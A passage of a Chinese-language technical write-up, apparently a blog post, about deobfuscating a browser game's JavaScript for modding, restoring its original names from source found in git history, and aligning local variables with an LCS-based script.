<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Array.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isArray</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(v)) v.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">forEach</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">c</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> walk</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(c, n, k)); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">else</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> walk</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(v, n, k);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  })(body, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ok;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 主 IIFE 頂層的函式宣告是遊戲自己的函式 (例如 svgIcon、upgradeGain)，混淆器產生的 proxy 不會出現在這一層</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> topLevel</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> WeakSet</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pf.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">isProxyFunctionExpression</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> node</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">topLevel.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(node) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> orig</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(node) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> pureOfParams</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(node);</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/cleanup.cjs#L12-L37">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/cleanup.cjs L12-37</a></p>
<p><strong>ObjectSimplifier 的 <code>unsafeReplace</code> 把會變的物件當常數。</strong> 搖桿狀態 <code>joy = {active: false, x: 0, y: 0}</code> 會被修改，工具卻把 <code>joy.active</code> 摺疊成 <code>false</code>，產生 <code>if (false &#x26;&#x26; (false || false))</code>。手機搖桿等於被刪掉。關掉。</p>
<p><strong>ConstantPropagator 把常數全部內聯。</strong> <code>SKILL_MAX</code>、<code>WAVE_DURATION</code> 這些常數全部變成數字，原本的名字就消失了。關掉之後找回 26 個常數。</p>
<p>驗證方式是列出所有沒有綁定的識別字。還原正確的話，應該只剩瀏覽器內建的全域：</p>
<pre tabindex="0"><code>Image Infinity JSON Map Math Number Object Set String clearTimeout console
document localStorage navigator performance requestAnimationFrame screen
setTimeout undefined window
</code></pre>
<p>第一個坑是讀移動函式時看到一個沒有定義的 <code>_0x528f3b</code> 才發現的。之後每次還原都跑這個檢查。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="6-命名-標準答案一直在-repo-裡" class="phrased">（6）<wbr>命名：<wbr>標準<wbr>答案<wbr>一直在 repo 裡</h2>
<h3 id="1-先自己取" class="phrased">1. 先<wbr>自己<wbr>取</h3>
<p>還原後的程式碼可以讀了，但頂層有 238 個宣告，名字全是 <code>_0x…</code>。我先用兩個線索取名：</p>
<ul>
<li>v2.5 外掛用到的名稱，例如 <code>hurtPlayer</code>、<code>gainExp</code>、<code>SKILLS</code>、<code>SKILL_MAX</code>，這些是 10/15 之前從原始碼直接看到的。</li>
<li>讀函式本身。屬性名沒有被混淆，<code>player.hp -= …</code> 加上「免疫」字串，就是受傷函式。</li>
</ul>
<p>參數和區域變數交給一個子代理逐個函式讀，寫了約 480 個名字。</p>
<h3 id="2-發現原始碼" class="phrased">2. 發現<wbr>原始碼</h3>
<p>整理時發現，原作者 repo 的 <code>5152825</code> 是一個 merge commit。它的第二個 parent <code>ca3534b</code>（10/14）裡就是沒混淆的 <code>game.js</code>：138 KB，開頭是 <code>"use strict"</code> 和中文註解。</p>
<p>我第一輪其實找過 git 歷史，結論是「沒有乾淨的原始碼」。那是錯的。原因是 zsh 的 <code>$c:game.js</code>：<code>:g</code> 被當成歷史修飾符，指令全部失敗，迴圈什麼都沒印出來，我就當成沒有。</p>
<h3 id="3-拿原始碼當標準答案" class="phrased">3. 拿<wbr>原始碼<wbr>當<wbr>標準<wbr>答案</h3>
<p>把原始碼所有綁定換成 <code>_0x</code> 佔位名、包進 IIFE，用（7）的跨 build 遷移工具對到第一個混淆版，就知道每個混淆名在原始碼裡叫什麼。拿來跟我自己取的名字比：</p>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="我自己取的名字 vs 作者原名（184 個對得上的頂層宣告）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">50</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">100</text><rect x="135" y="32.24000000000001" width="62" height="197.76" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="167" y="26.24000000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">96</text><text x="167" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">完全相同</text><rect x="381" y="48.72" width="62" height="181.28" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="413" y="42.72" text-anchor="middle" style="fill:var(--ink);font-size:11px">88</text><text x="413" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">不同</text></svg><figcaption>我自己取的名字 vs 作者原名（184 個對得上的頂層宣告）</figcaption></figure>
<p>不同的 88 個大多是同義詞：<code>newRun</code> ↔ <code>createState</code>、<code>W</code> ↔ <code>VIEW_W</code>、<code>sfx</code> ↔ <code>Sound</code>。真的取錯的大約 8 個：</p>
<table tabindex="0">
<thead>
<tr>
<th>我取的</th>
<th>原名</th>
<th>實際是什麼</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>clickSfx</code></td>
<td><code>restartRun</code></td>
<td>播完點擊音效之後重開一局</td>
</tr>
<tr>
<td><code>isMeleeChar</code></td>
<td><code>fireWeapon</code></td>
<td>依角色呼叫揮砍、突刺或射箭</td>
</tr>
<tr>
<td><code>BOSS_ABILITIES</code></td>
<td><code>ULTS</code></td>
<td>終極技能表，不是 Boss 技能</td>
</tr>
<tr>
<td><code>pendingChar</code></td>
<td><code>vignetteGrad</code></td>
<td>暗角漸層的快取</td>
</tr>
<tr>
<td><code>scrollBoardToMe</code></td>
<td><code>openBoard</code></td>
<td>打開排行榜，順便捲到自己</td>
</tr>
</tbody>
</table>
<p>所以命名全部改用原名。現在 238 個頂層宣告裡，<strong>192 個是作者原名</strong>，原始碼的頂層宣告全部對上。另外 46 個是 10/14 之後才加的功能（Boss 競技場、寶箱、分身、詛咒、存檔簽章），用我取的名字。</p>
<p>區域變數也一樣。把原始碼每個函式的區域變數依出現順序編號，算一個「宣告指紋」（初值的程式碼，識別字和數字都正規化），再跟還原碼的區域變數用 LCS 對齊：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">export</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> align</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">refSigs</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">curSigs</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> n</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> refSigs.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">m</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> curSigs.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> L</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Array.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({ length: n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> }, () </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Int32Array</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(m </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">));</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">--</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> m </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; j</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">--</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">    L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i][j] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> refSigs[i] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> curSigs[j] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">][j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> :</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">][j], </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i][j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> map</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  while</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> m) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (refSigs[i] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> curSigs[j]) { map.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(j, i); i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; j</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    else</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">][j] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">>=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> L</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[i][j </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]) i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> j</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">  // 兩個錨點之間，兩邊剩下的數量一樣就照順序補上 (指紋只差在算式寫法，例如 80*x 與 x*80)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> pairs</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">], </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">...</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">...</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">map.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">entries</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">()].</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">map</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(([</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">c</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">r</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [r, c]).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">sort</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">((</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">a</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> a[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]), [n, m]];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> k </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; k </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pairs.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; k</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">r0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">c0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pairs[k], [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">r1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">c1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pairs[k </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (r1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> r0 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c0) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; r0 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> r1; d</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) map.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(c0 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d, r0 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> map;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/reverse/generic-order.mjs#L29-L46">在 SiaoHub 檢視 siao/dungeon-reborn-mod/reverse/generic-order.mjs L29-46</a></p>
<p>錨點之間數量一樣的就照順序補上，處理 <code>80 * p.pickupMult</code> 被轉成 <code>p.pickupMult * 80</code> 這種指紋不同但其實是同一個變數的情況。原始碼的 669 個區域變數，在最新 build 上套用了 660 個。子代理取的名字只拿來補原始碼沒有的函式。</p>
<p>這也找回了兩個被內聯掉的函式。原始碼裡有 <code>svgIcon(inner)</code> 和 <code>upgradeGain(c)</code>，還原碼裡沒有。它們剛好符合「純 proxy」的條件，被（5）的 ProxyFunctionInliner 內聯掉了。語意沒錯，但函式邊界不見了。（5）裡「主 IIFE 頂層的函式宣告一律不動」那一條，就是這時候補的。</p>
<h3 id="4-還原度" class="phrased">4. 還原<wbr>度</h3>
<p>用最早的混淆版跑完整流程，跟 10/14 的原始碼逐個頂層宣告比對（壓縮排版、去掉註解）：</p>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="192 個頂層宣告的還原結果" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">40</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">80</text><rect x="94" y="31.724999999999994" width="62" height="198.275" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="126" y="25.724999999999994" text-anchor="middle" style="fill:var(--ink);font-size:11px">77</text><text x="126" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">逐字相同</text><rect x="258" y="39.44999999999999" width="62" height="190.55" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="290" 